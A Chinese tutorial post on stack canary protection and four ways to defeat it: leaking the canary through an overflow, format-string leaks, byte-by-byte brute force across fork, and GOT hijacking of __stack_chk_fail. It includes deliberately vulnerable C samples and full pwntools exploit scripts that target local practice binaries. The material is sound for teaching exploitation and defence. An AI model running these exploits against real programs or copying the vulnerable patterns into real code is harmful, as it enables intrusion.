Canary保护机制以及常用绕过手段
一、前言
canary是一种用来防护栈溢出的保护机制。原理就是在函数入口处,先从fs/gs寄存器中取出一个4字节或者8字节的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致。
在32位程序上是gs寄存器偏移0x14
![img](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/EyZtOO.png)
在64位程序上是fs寄存器偏移0x28
![img](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/EyZdTH.png)
一致则正常退出,如果是溢出或者其它原因导致canary的值发生变化,那么程序将执行__stack_chk_fail函数,从而终止程序
![img](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/EyZDfI.png)
当程序开启canary保护之后,就不能正常的使用ROP劫持程序流程了,需要通过一定手段把canary的值泄露出来,之后重新布置ROP时就可以保证Canary值不发生变化,从而劫持程序流程。
二、绕过手段
a、泄露栈中的canary
canary的本意设计低位为’\x00’,是为了截断字符串,防止被恶意泄露。所以泄露栈中canary的思路是覆盖canary的低位,把’\x00‘覆盖掉,这样就不会被截断,可以通过printf等函数泄露出canary。
泄露条件:
存在栈溢出漏洞
可以输出栈上缓冲区内容。比如printf打印变量的内容。
第一张是填充99个,并没有覆盖canary低位的’\x00’,所以低位是’\x00’
![image-20230710221529259](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230710221529259.png)
这张是填充100个时,此时字符串末尾自动补的’\n‘覆盖到了canary的’\x00‘,所以低位显示的是’\x0a’
![image-20230710221715929](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230710221715929.png)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import*
sh = process('./a')
elf = ELF('a')
system_addr = elf.sym['getshell']
payload = 100*'a'
sh.recvuntil(b'Hacker!') sh.sendline(payload)
sh.recvuntil(b'a'*100) Canary = u32(sh.recv(4)) - 0xa print(hex(Canary))
payload = 100*b'a'+p32(Canary)+8*b'b'+b'aaaa'+p32(system_addr)
sh.sendline(payload)
sh.interactive()
|
b、格式化字符串漏洞打印Canary
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void getshell(void) { system("/bin/sh"); }
void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void vuln() { char buf[100]; for(int i=0;i<2;i++){ read(0, buf, 0x200); printf(buf); } } int main(void) { init(); puts("Hello Hacker!"); vuln(); return 0; }
|
printf(buf)存在格式化字符串漏洞
%31$p会泄露出Canary的值
![image-20230711220814110](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230711220814110.png)
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import* context(os='linux', arch='i386', log_level='debug') sh = process('./a')
elf = ELF('./a')
system_addr = elf.sym['getshell']
payload = '%'+str(31)+'$'+'p'
sh.sendlineafter(b'Hacker!',payload)
sh.recvuntil(b'0x')
Canary = int(sh.recv(8),16)
print(hex(Canary))
payload = b'a'*100+p32(Canary)+b'aaaaaaaa'+b'bbbb'+p32(system_addr)
sh.sendline(payload)
sh.interactive()
|
c、one-by-one爆破Canary原理
- 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Canary是相同的,并且通过fork函数创建的子进程的Canary也是想同的,因为fork函数会直接拷贝父进程的内存。
- 最低位位0x00,之后逐次爆破,如果Canary爆破不成功,则程序崩溃;爆破成功则程序进行下面的逻辑。由此判断爆破是否成功。
- 利用这样的特性,彻底逐个字节将Canary爆破出来。
示例
1 2
| 链接:https://pan.baidu.com/s/1oJPcMnx5_7pPZPitkvgaVg 提取码:aaaa
|
为了更好的验证,在同级目录下创建一个flag文件并写入flag。
首先检查一下文件保护情况:
![image-20230712085237642](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230712085237642.png)
32位程序,开启了Canary保护和NX保护,再ida静态分析下:
![image-20230712085600541](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230712085600541.png)
main函数中存在forkl函数,这是爆破的关键。
再查看fun函数:
![image-20230712085641067](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230712085641067.png)
可以输入0x78的内容,buf的空间为0x70-0xc=0x64,v2变量保存的就是Canary的值,所以爆破思路就是先用垃圾数据填充buf到Canary,然后再尝试填充Canary。如果Canary正确,则进行下一位爆破,如果Canary错误,程序会执行fork重新运行
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import* context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] context(arch='i386', os='linux') sh = process('./c') elf = ELF('./c')
Canary = '\x00'
sh.recvuntil("welcome\n") for i in range(3): for j in range(256): payload = 90*'a'+10*'b'+Canary+chr(j) sh.send(payload) data = sh.recvuntil("welcome\n") print(data) if b'*** stack smashing detected ***' not in data: Canary += chr(j) print("Canary is:"+Canary) break
getshell = elf.sym['getflag'] payload = 100*b'a'+Canary.encode()+12*b'a'+p32(getshell)
sh.sendline(payload) sh.interactive()
|
d、劫持__stack_chk_fail函数
原理
- __stack_chk_fail本质上也只是动态加载的一个库函数,和puts是一样的
- 在开启Canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> void getshell(void) { system("/bin/sh"); } int main(int argc, char *argv[]) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);
char buf[100]; read(0, buf, 200);#栈溢出 printf(buf); return 0; }
|
- 劫持函数需要修改got表,所以要关闭relro(RELocation Read Only)
- 需要调用getshell函数,所以需要关闭pie
1 2
| $ gcc test3.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o test3
|
首先查看保护机制
![image-20230712115025332](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230712115025332.png)
开启了NX和Canary保护,静态分析有后门函数和printf格式化字符串漏洞
学习GOT表的时候我们知道GOT表里保存的是真正的函数地址,所以如果我们把__stack_chk_fail函数GOT表中的地址覆盖为后门函数的地址,那么当检测Canary值不对时跳转执行__stack_chk_fail函数就相当于执行了getshell。
这里可以利用pwntools中的fmtstr_payload()可以方便的进行地址的篡改
1 2 3
| fmtstr_payload(offset,writes,numbwritten=0,write_size='byte') offset(int):字符串的偏移 writes(dict):注入的地址和值,{target_addr:change_to}
|
第一个参数offset的值,可以通过手工确认
1 2 3
| zhuyuan@zhuyuan-vm:~/pwn/Canary$ ./test3 aaaa%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x- aaaaff9e1808-c8-80491f8-f7fb8ba0-1-f7f797c0-ff9e1944-0-1-61616161-252d7825-78252d78-2d78252d-252d7825-
|
61616161是第十个值,所以offest偏移为10
1
| fmtstr_payload(10,{stack_chk_fail,getshell})
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import*
sh = process('./test3')
elf = ELF('./test3')
stack_chk_fail = elf.got['__stack_chk_fail'] #获取stack_chk_fail函数got表地址 getshell = elf.sym['getshell'] #获取后门函数地址
payload = fmtstr_payload(10,{stack_chk_fail:getshell}) #更改got表中的地址为后门函数地址 payload = payload.ljust(0x70,b'a') #填充破坏Canary触发stack_chk_fail函数 sh.sendline(payload)
sh.interactive() ~
|
![image-20230712145716487](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230712145716487.png)
还有一种SSP LeaK的方法,本人知识匮乏,现阶段理解不清楚,以后会补上。
1 2 3 4
| 参考资料 https://www.anquanke.com/post/id/177832 https://blog.csdn.net/chennbnbnb/article/details/103968714 https://mzgao.blog.csdn.net/article/details/104119680
|